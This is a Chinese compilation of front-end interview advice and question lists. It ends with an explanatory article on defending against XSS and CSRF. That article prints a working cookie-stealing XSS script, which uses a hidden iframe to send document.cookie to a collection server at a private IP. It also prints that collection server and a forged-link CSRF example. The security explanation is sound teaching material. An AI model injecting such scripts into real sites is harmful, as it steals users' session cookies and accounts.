1. 面试Web前端需要注意什么会面试哪些问题
作为一名HTML5前端工程师，为了工作，为了就业我们免不了要参加各种各样的面试。为此总结了面试前的注意事项：
第一：注意自己的仪容仪表
面试之前，一定要再次从头到脚地将自己的仪容仪表检查一遍。检查时主要包括，自己的牙缝是不是还有食物残渣，所以你需要就近找一个卫生间，如果没有卫生间就近找一个角落也是可以的，但是切记一定不要在大庭广众之下。因此，为了给自己整理出着装的时间请在约定时间前20分钟到达。
第二：再次检查面试时所需的资料是否都已带全
这些资料主要包括：身份证明、学历文凭证明、个人简历、以往作品等等，如果这些东西齐全之后，需要对这些资料做一个整理与排序。因为没有哪个面试官希望看到面试者拿出一堆“莫名其妙”的东西塞给他，让他自己再一页一页的翻找自己需要的内容，如果说这些资料在面试官手中不小心散落一地，结果可想而知。这样的求职者在面试官眼中也一定不是一个让人放心、有条不紊的员工。当然如果检查时发现资料没有带全，也不要紧张。反而你要庆幸幸亏及时检查，也有足够的时间组织语言去向面试官解释。
第三：面试之前将通信工具调成振动或关闭状态
虽然说面试者与面试官之间是一个平等的关系，但毕竟你是去人家公司求职的，始终处于一个被动的状态，所以最起码的尊重还是要做到的。曾经有调查显示，对于面试过程中接电话或是被电话打断的求职者，会被HR减分。
第四：等候面试官时，仔细观察多了解面试公司
在等候面试官时，可以暗自观察一下公司的大体情况比如员工的着装风格、公司的LOGO或是贴在墙上的企业文化、公司的环境等等，一来可以在接下来的面试过程中表现出自己对公司的认同感，二来也可以让自己对求职公司多些了解，以确定是否要接受这里的工作。如果你身边有公司的资料宣传架，不妨取一本翻看一下，也会增加HR对你的好感。
第五：放松心情，保持自信
面试时一定要保持一定的自信，这样也会给面试官留下很好的印象。面试只是你步入工作的第一步，即便是失败了那也是人生重要的经历。失败是为了更好的迎接下一个挑战。
作为一名web前端工程师千万不要觉得懂技术面试就能万事大吉了，像以上五点细节性的东西也是一定要掌握的。
面试题系列：
网页链接
2. 电商网站开发中前端有哪些安全性的问题要解决
电子商务简单的说就是利用Internet进行的交易活动，电子商务："电子"+"商务"，从电子商务的定义可以了解电子商务的安全也就相应的分为两个方面的安全：一方面是"电子"方面的安全，就是电子商务的开展必须利用Internet来进行，而Internet本身也属于计算机网络，所以电子商务的第一个方面的安全就是计算机网络的安全，它包括计算机网络硬件的安全与计算机网络软件的安全，计算机网络存在着很多安全威胁，也就给电子商务带来了安全威胁；另一方面是"商务"方面的安全，是把传统的商务活动在Internet上开展时，由干Internet存着很多安全隐患给电子商务带来了安全威胁，简称为"商务交易安全威胁"。这两个方面的安全威胁也就给电子商务带来了很多安全问题：
（一）计算机网络安全威胁
电子商务包含"三流"：信息流、资金流、物流，"三流"中以信息流为核心为最重要，电子商务正是通过信息流为带动资金流、物流的完成。电子商务跟传统商务的最重要的区别就是以计算机网络来传递信息，促进信息流的完成。计算机网络的安全必将影响电子商务中的"信息流"的传递，势必影响电子商务的开展。计算机网络存在以下安全威胁：
1、黑客攻击
黑客攻击是指黑客非法进入网络，非法使用网络资源。随着互联网的发展，黑客攻击也是经常发生，防不胜防，黑客利用网上的任何漏洞和缺陷修改网页、非法进入主机、窃取信息等进行相关危害活动。2003年，仅美国国防部的"五角大楼"就受到了了230万次对其网络的尝试性攻击。从这里可以看出，目前黑客攻击已成为了电子商务中计算机网络的重要安全威胁。
2、计算机病毒的攻击
病毒是能够破坏计算机系统正常进行，具有传染性的一段程序。随着互联网的发展，病毒利用互联网，使得病毒的传播速度大大加快，它侵入网络，破坏资源，成为了电子商务中计算机网络的又一重要安全威胁。
3、拒绝服务攻击
拒绝服务攻击（DoS）是一种破坏性的攻击，它是一个用户采用某种手段故意占用大量的网络资源，使系统没有剩余资源为其他用户提供服务的攻击。目前具有代表性的拒绝服务攻击手段包括SYNflood、ICMPflood、UDPflood等。随着互联网的发展，拒绝服务攻击成为了网络安全中的重要威胁。
（二）商务交易安全威胁
把传统的商务活动在Internet上进行，由于Internet本身的特点，存在着很多安全威胁，给电子商务带来了安全问题。Internet的产生源于计算机资源共享的需求，具有很好的开放性，但正是由子它的开放性，使它产生了更严重的安全问题。Internet存在以下安全隐患：
1、开放性
开放性和资源共享是Internet最大的特点，但它的问题却不容忽视的。正是这种开放性给电子商务带来了安全威胁。
2、缺乏安全机制的传输协议
TCP／IP协议是建立在可信的环境之下，缺乏相应的安全机制，这种基于地址的协议本身就会泄露口令，根本没有考虑安全问题；TCP／IP协议是完全公开的，其远程访问的功能使许多攻击者无须到现场就能够得手，连接的主机基于互相信任的原则等这些性质使网络更加不安全。
3、软件系统的漏洞
随着软件系统规模的不断增大，系统中的安全漏洞或"后门"也不可避免的存在。如cookie程序、JAVA应用程序、IE浏览器等这些软件与程序都有可能给我们开展电子商务带来安全威胁。
4、信息电子化
电子化信息的固有弱点就是缺乏可信度，电子信息是否正确完整是很难由信息本身鉴别的，而且在Internet传递电子信息，存在着难以确认信息的发出者以及信息是否被正确无误地传递给接收方的问题。
（三）计算机网络安全威胁与商务交易安全威胁给电子商务带来的安全问题
1、信息泄露
在电子商务中表现为商业机密的泄露，以上计算机网络安全威胁与Internet的安全隐患可能使得电子商务中的信息泄漏，主要包括两个方面：（1）交易一方进行交易的内容被第三方窃取。（2）交易一方提供给另一方使用的文件第三方非法使用。
2、篡改
正是由于以上计算机网络安全威胁与Internet的安全隐患，电子的交易信息在网络上传输的过程中，可能被他人非法地修改、删除或重放（指只能使用一次的信息被多次使用），这样就使信息失去了真实性和完整性。
3、身份识别
正是由于电子商务交易中交易两方通过网络来完成交易，双方互不见面、互不认识，计算机网络的安全威胁与Internet的安全隐患，也可能使得电子商务交易中出现身交易身份伪造的问题。
4、信息破坏
计算机网络本身容易遭到一些恶意程序的破坏，如计算机病毒、特洛伊木马程序、逻辑炸弹等，导致电子商务中的信息在传递过程被破坏。
5、破坏信息的有效性
电子商务中的交易过程中是以电子化的信息代替纸面信息，这些信息我们也必须保证它的时间的有效与本身信息的有效，必须能确认该信息确是由交易一方签发的，计算机网络安全威胁与Internet的安全隐患，使得我们很难保证电子商务中的信息有效性。
6、泄露个人隐私
隐私权是参与电子商务的个人非常关心的一个问题。参与到电子商务中的个人就必须提供个人信息，计算机网络安全威胁与Internet的安全隐患有可能导致个人信息泄露，破坏到个人隐私。
3. 前端面试题目难吗 如何轻松面对前端面试
从以下五个方面做，可以轻松面对前端面试：
一、基本知识
DOM结构——两个节点之间可能存在哪些关系以及如何在节点之间任意移动。
DOM操作——怎样添加、移除、移动、复制、创建和查找节点。
事件——怎样使用事件以及IE和DOM事件模型之间存在哪些主要差别。
XMLHttpRequest——这是什么、怎样完整地执行一次GET请求、怎样检测错误。
严格模式与混杂模式——如何触发这两种模式，区分它们有何意义。
盒模型——外边距、内边距和边框之间的关系，IE8以下版本的浏览器中的盒模型有什么不同。
块级元素与行内元素——怎么用CSS控制它们、它们怎样影响周围的元素以及你觉得应该如何定义它们的样式。
浮动元素——怎么使用它们、它们有什么问题以及怎么解决这些问题。
HTML与XHTML——二者有什么区别，你觉得应该使用哪一个并说出理由。
JSON——它是什么、为什么应该使用它、到底该怎么使用它，说出实现细节来。
二、少量提问
现在有一个正显示着Yahoo!股票价格的页面。页面上有一个按钮，你可以单击它来刷新价格，但不会重新加载页面。请你描述一下实现这个功能的过程，假设服务器会负责准备好正确的股票价格数据。
这个问题牵扯到一组我想要考察的基本知识点：DOM结构、DOM操作、事件处理、XHR和JSON。如果我要求你对换一种处理股票价格的方式，或者 让你在页面中显示其他信息，就可以把更多的知识点包括进来。对于经验比较丰富应聘者，我也可以自如地扩展要考察的知识范围，最简单像JOSN与XML的区别、安全问题、容量问题等等。
我还希望应聘者给出的任何解决方案中都不要使用库。我想看到最原生态的代码，你就当页面中没有包含任何库。你说你对哪个库了解多少多少，但我不能把关于库的知识作为评判能力的因素，因为库是会随时间变化的。
三、解决问题
做为一名前端工程师，最值得高兴的事莫过于解决同一个问题会有很多种不同的方法，而你要做的就是找出最合适的方法来。我在提问的时候，经常会在应聘者解释完一种方法后问他们还有没有第二种方法。此时我会跟他们说，假设你的这个方法由于种种原因被否决了，那么你还能不能给出另一种方法。这样做可以达到 两个目的。
首先，可以测试出他们是否在毫无意义地复述书本中的东西。不能不承认，某些人确实有过目不忘的天赋，听他们在那里滔滔不绝地讲，你会觉得他们什么都明白。可是，只要一跟这些人谈到怎么查找方案无效的原因，以及能否拿出一个新方案来，他们往往就傻眼了。这时候，如果我听到“我不明白这个方案为什么不够 好”之类的反问，心里立刻就明白我的问题已经超出了他们的能力范围，而他们只是想拿自己死记硬背的结论来蒙混过关。
其次，可以测试出他们已经掌握的(还是那句话，“想都不用想”)浏览器技术知识。如果他们对浏览器平台的核心知识有较好的理解，想出解决同一问题的不同方案根本没有那么难。
注意：所有问题都与浏览器技术相关。我不相信出几道抽象的逻辑题，就能够考出某人解决Web技术问题的能力。在我看来，这无异于让素描大师画肖像，没有意义，也得不到任何有价值的信息。
四、有激情
要成为一名优秀的前端工程师，最重要的莫过于对自己做的事要有激情。我们技能都不是从学校中或者从研讨会上学来的，因此前端工程师必须具备自学能力。浏览器技术的变化可谓日新月异，所以也只有不断提升自己的技能才做得到与时俱进。我虽然不能强迫谁必须多看博客、不断学习，但想应聘前端工程师的人恐怕还是必须这么做的。
你怎么知道谁对这种工作有没有激情?实际上非常简单。我只问一个简单的问题：“目前你对什么Web技术最感兴趣?”这个问题永远不会过期，而且也几乎不可能出错……除非你答不上来。就眼下来说，我希望你对这个问题给出的技术中包括WebSocket、HTML、WebGL、客户端数据库，等等。只有 对Web开发充满激情的人，才会坚持不懈地学习新知识、掌握新技能;
五、最后一点
计算机科学或者Web设计方面的知识当然也有用，但那都是基本知识之外的东西。只要基本知识在那儿了，一切就都有了基础，想扩充知识面也不难。可是，如果等到正式上班以后，还得从头学习基本技能，那种难度是不可同日而语的。
4. 前端面试一般问什么
web前端面试会问人事方面的内容和web前端技术的内容；
人事的面试
web前端人事面试方面，需要注意如何自我介绍、性格有哪些优劣势、职业规划方向是什么、你的特长是什么、对于加班之类你是怎么看待等人事面试内容；
web前端技术的面试
技术面试，需要注意HTML+CSS+JavaScript以及JS主流框架的使用，比如Vue、React等，前端相关技术，比如tcp握手协议、网络安全、后端技术等；
对于web前端面试准备，建议你去看“决胜前端”（min app），它里面包含了很多web前端技术面试、人事面试等面试真题，而且针对面试题做了详细的分析与解答。
我给你截图看一下例子吧
5. 面试web前端时，你该如何应对面试官
这个虽然是技术型面试，但是面试的基本准则还是不会变的，态度诚恳，真诚，让面试官感受你的热情和对该工作的热爱。至于技术水平的问题，一般在简历里就有体现，所以能够收到面试，至少你的简历上的经历还是有吸引到面试官的，所以，你尽量放松，于面试官真诚交流。
遇到技术型问题的时候，不要侃侃而谈，挑技术要点，简明扼要概括。因为，如果面试你的是你未来的领导，就是说懂行的人，你一说要点，他能知道你的水平。如果只是HR，其实就你讲的很详细，他也不一定能明白。所以，简明扼要，保险！
6. Web前端岗位面试题有哪些
前端面试题汇总，基本上会有四大类问题，具体如下：
一、HTML
1、Doctype作用？严格模式与混杂模式如何区分？它们有何意义?
2、HTML5 为什么只需要写 <!DOCTYPE HTML>？
3、行内元素有哪些？块级元素有哪些？ 空(void)元素有那些？
4、页面导入样式时，使用link和@import有什么区别？
5、介绍一下你对浏览器内核的理解？
6、常见的浏览器内核有哪些？
7、html5有哪些新特性、移除了那些元素？如何处理HTML5新标签的浏览器兼容问题？如何区分 HTML 和 HTML5？
8、简述一下你对HTML语义化的理解？
9、HTML5的离线储存怎么使用，工作原理能不能解释一下？
10、浏览器是怎么对HTML5的离线储存资源进行管理和加载的呢？
11、请描述一下 cookies，sessionStorage 和 localStorage 的区别？
12、iframe有那些缺点？
13、Label的作用是什么？是怎么用的？（加 for 或 包裹）
14、HTML5的form如何关闭自动完成功能？
15、如何实现浏览器内多个标签页之间的通信? (阿里)
16、webSocket如何兼容低浏览器？(阿里)
17、页面可见性（Page Visibility）API 可以有哪些用途？
18、如何在页面上实现一个圆形的可点击区域？
19、实现不使用 border 画出1px高的线，在不同浏览器的Quirksmode和CSSCompat模式下都能保持同一效果。
20、网页验证码是干嘛的，是为了解决什么安全问题？
21、tite与h1的区别、b与strong的区别、i与em的区别？
二、css
1、介绍一下标准的CSS的盒子模型？与低版本IE的盒子模型有什么不同的？
2、CSS选择符有哪些？哪些属性可以继承？
3、CSS优先级算法如何计算？
4、CSS3新增伪类有那些？
5、如何居中div？如何居中一个浮动元素？如何让绝对定位的div居中？
6、display有哪些值？说明他们的作用。
7、position的值relative和absolute定位原点是？
8、CSS3有哪些新特性？
9、请解释一下CSS3的Flexbox（弹性盒布局模型）,以及适用场景？
10、用纯CSS创建一个三角形的原理是什么？
11、一个满屏 品 字布局 如何设计?
三、常见兼容性问题？
1、li与li之间有看不见的空白间隔是什么原因引起的？有什么解决办法？
2、经常遇到的浏览器的兼容性有哪些？原因，解决方法是什么，常用hack的技巧 ？
3、为什么要初始化CSS样式。
4、absolute的containing block计算方式跟正常流有什么不同？
5、CSS里的visibility属性有个collapse属性值是干嘛用的？在不同浏览器下以后什么区别？
6、position跟display、margin collapse、overflow、float这些特性相互叠加后会怎么样？
7、对BFC规范(块级格式化上下文：block formatting context)的理解？
8、CSS权重优先级是如何计算的？
9、请解释一下为什么会出现浮动和什么时候需要清除浮动？清除浮动的方式
10、移动端的布局用过媒体查询吗？
11、使用 CSS 预处理器吗？喜欢那个？
12、CSS优化、提高性能的方法有哪些？
13、浏览器是怎样解析CSS选择器的？
14、在网页中的应该使用奇数还是偶数的字体？为什么呢？
15、margin和padding分别适合什么场景使用？
16、抽离样式模块怎么写，说出思路，有无实践经验？[阿里航旅的面试题]
17、元素竖向的百分比设定是相对于容器的高度吗？
18、全屏滚动的原理是什么？用到了CSS的那些属性？
19、什么是响应式设计？响应式设计的基本原理是什么？如何兼容低版本的IE？
20、视差滚动效果，如何给每页做不同的动画？（回到顶部，向下滑动要再次出现，和只出现一次分别怎么做？）
21、::before 和 :after中双冒号和单冒号 有什么区别？解释一下这2个伪元素的作用。
22、如何修改chrome记住密码后自动填充表单的黄色背景 ？
23、你对line-height是如何理解的？
24、设置元素浮动后，该元素的display值是多少？（自动变成display:block）
25、怎么让Chrome支持小于12px 的文字？
26、让页面里的字体变清晰，变细用CSS怎么做？（-webkit-font-smoothing: antialiased;）
27、font-style属性可以让它赋值为“oblique” oblique是什么意思？
28、position:fixed;在android下无效怎么处理？
29、如果需要手动写动画，你认为最小时间间隔是多久，为什么？（阿里）
30、display:inline-block 什么时候会显示间隙？(携程)
31、overflow: scroll时不能平滑滚动的问题怎么处理？
32、有一个高度自适应的div，里面有两个div，一个高度100px，希望另一个填满剩下的高度。
33、png、jpg、gif 这些图片格式解释一下，分别什么时候用。有没有了解过webp？
34、什么是Cookie 隔离？（或者说：请求资源的时候不要让它带cookie怎么做）
35、style标签写在body后与body前有什么区别？
四、JavaScript
1、介绍JavaScript的基本数据类型。
2、说说写JavaScript的基本规范？
3、JavaScript原型，原型链 ? 有什么特点？
4、JavaScript有几种类型的值？（堆：原始数据类型和 栈：引用数据类型），你能画一下他们的内存图吗？
5、Javascript如何实现继承？
6、Javascript创建对象的几种方式？
7、Javascript作用链域?
8、谈谈This对象的理解。
9、eval是做什么的？
10、什么是window对象? 什么是document对象?
11、null，undefined的区别？
12、写一个通用的事件侦听器函数(机试题)。
13、[“1”, “2”, “3”].map(parseInt) 答案是多少？
14、关于事件，IE与火狐的事件机制有什么区别？ 如何阻止冒泡？
15、什么是闭包（closure），为什么要用它？
16、javascript 代码中的”use strict”;是什么意思 ? 使用它区别是什么？
17、如何判断一个对象是否属于某个类？
18、new操作符具体干了什么呢?
19、用原生JavaScript的实现过什么功能吗？
20、Javascript中，有一个函数，执行时对象查找时，永远不会去查找原型，这个函数是？
21、对JSON的了解？
22、[].forEach.call($$("*"),function(a){ a.style.outline="1px solid #"+(~~(Math.random()*(1<<24))).toString(16) }) 能解释一下这段代码的意思吗？
23、js延迟加载的方式有哪些？
24、Ajax 是什么? 如何创建一个Ajax？
25、同步和异步的区别?
26、如何解决跨域问题?
27、页面编码和被请求的资源编码如果不一致如何处理？
28、模块化开发怎么做？
29、AMD（Moles/Asynchronous-Definition）、CMD（Common MoleDefinition）规范区别？
30、requireJS的核心原理是什么？（如何动态加载的？如何避免多次加载的？如何 缓存的？）
31、让你自己设计实现一个requireJS，你会怎么做？
32、谈一谈你对ECMAScript6的了解？
33、ECMAScript6 怎么写class么，为什么会出现class这种东西?
34、异步加载的方式有哪些？
35、documen.write和 innerHTML的区别?
36、DOM操作——怎样添加、移除、移动、复制、创建和查找节点?
37、.call() 和 .apply() 的含义和区别？
38、数组和对象有哪些原生方法，列举一下？
39、JS 怎么实现一个类。怎么实例化这个类
40、JavaScript中的作用域与变量声明提升？
41、如何编写高性能的Javascript？
42、那些操作会造成内存泄漏？
43、JQuery的源码看过吗？能不能简单概况一下它的实现原理？
44、jQuery.fn的init方法返回的this指的是什么对象？为什么要返回this？
45、jquery中如何将数组转化为json字符串，然后再转化回来？
46、jQuery 的属性拷贝(extend)的实现原理是什么，如何实现深拷贝？
47、jquery.extend 与 jquery.fn.extend的区别？
48、jQuery 的队列是如何实现的？队列可以用在哪些地方？
49、谈一下Jquery中的bind(),live(),delegate(),on()的区别？
50、JQuery一个对象可以同时绑定多个事件，这是如何实现的？
51、是否知道自定义事件。jQuery里的fire函数是什么意思，什么时候用？
52、jQuery 是通过哪个方法和 Sizzle 选择器结合的？（jQuery.fn.find()进入Sizzle）
53、针对 jQuery性能的优化方法？
54、Jquery与jQuery UI有啥区别？
55、JQuery的源码看过吗？能不能简单说一下它的实现原理？
56、jquery 中如何将数组转化为json字符串，然后再转化回来？
57、jQuery和Zepto的区别？各自的使用场景？
58、针对 jQuery 的优化方法？
59、Zepto的点透问题如何解决？
60、jQueryUI如何自定义组件?
61、需求：实现一个页面操作不会整页刷新的网站，并且能在浏览器前进、后退时正确响应。给出你的技术实现方案？
62、如何判断当前脚本运行在浏览器还是node环境中？（阿里）
63、移动端最小触控区域是多大？
64、jQuery 的 slideUp动画 ，如果目标元素是被外部事件驱动, 当鼠标快速地连续触发外部元素事件, 动画会滞后的反复执行，该如何处理呢?
65、把 Script 标签 放在页面的最底部的body封闭之前 和封闭之后有什么区别？浏览器会如何解析它们？
66、移动端的点击事件的有延迟，时间是多久，为什么会有？ 怎么解决这个延时？（click 有 300ms 延迟,为了实现safari的双击事件的设计，浏览器要知道你是不是要双击操作。）
67、知道各种JS框架(Angular, Backbone, Ember, React, Meteor, Knockout…)么? 能讲出他们各自的优点和缺点么?
68、Underscore 对哪些 JS 原生对象进行了扩展以及提供了哪些好用的函数方法？
69、解释JavaScript中的作用域与变量声明提升？
70、那些操作会造成内存泄漏？
71、JQuery一个对象可以同时绑定多个事件，这是如何实现的？
72、Node.js的适用场景？
(如果会用node)知道route, middleware, cluster, nodemon, pm2, server-side rendering么?
73、解释一下 Backbone 的 MVC 实现方式？
74、什么是“前端路由”?什么时候适合使用“前端路由”? “前端路由”有哪些优点和缺点?
75、知道什么是webkit么? 知道怎么用浏览器的各种工具来调试和debug代码么?
76、如何测试前端代码么? 知道BDD, TDD, Unit Test么? 知道怎么测试你的前端工程么(mocha, sinon, jasmin, qUnit..)?
77、前端templating(Mustache, underscore, handlebars)是干嘛的, 怎么用?
78、简述一下 Handlebars 的基本用法？
79、简述一下 Handlerbars 的对模板的基本处理流程， 如何编译的？如何缓存的？
80、用js实现千位分隔符?(来源：前端农民工，提示：正则+replace)
检测浏览器版本版本有哪些方式？
81、我们给一个dom同时绑定两个点击事件，一个用捕获，一个用冒泡，你来说下会执行几次事件，然后会先执行冒泡还是捕获
7. 对前端安全的理解，有什么，怎么防范
比如用户可控输入经过了js，就更容易造成xss，容易理解的比如token暴露在前端代码就是不行的
8. 前端面试 问什么问题
web前端面试会问人事方面的内容和web前端技术的内容；
人事的面试
web前端人事面试方面，需要注意如何自我介绍、性格有哪些优劣势、职业规划方向是什么、你的特长是什么、对于加班之类你是怎么看待等人事面试内容；
web前端技术的面试
技术面试，需要注意HTML+CSS+JavaScript以及JS主流框架的使用，比如Vue、React等，前端相关技术，比如tcp握手协议、网络安全、后端技术等；
对于web前端面试准备，建议你去看“决胜前端”（min app），它里面包含了很多web前端技术面试、人事面试等面试真题，而且针对面试题做了详细的分析与解答。
我给你截图看一下例子吧
9. 面试时候作为候选人，在前端面试中最怕被问什么问题
最怕被问到私生活，尤其是关于孩子的情况，如果你说要生二胎的话，可能就会被淘汰。
10. 前端安全方面有没有了解xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 sql 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
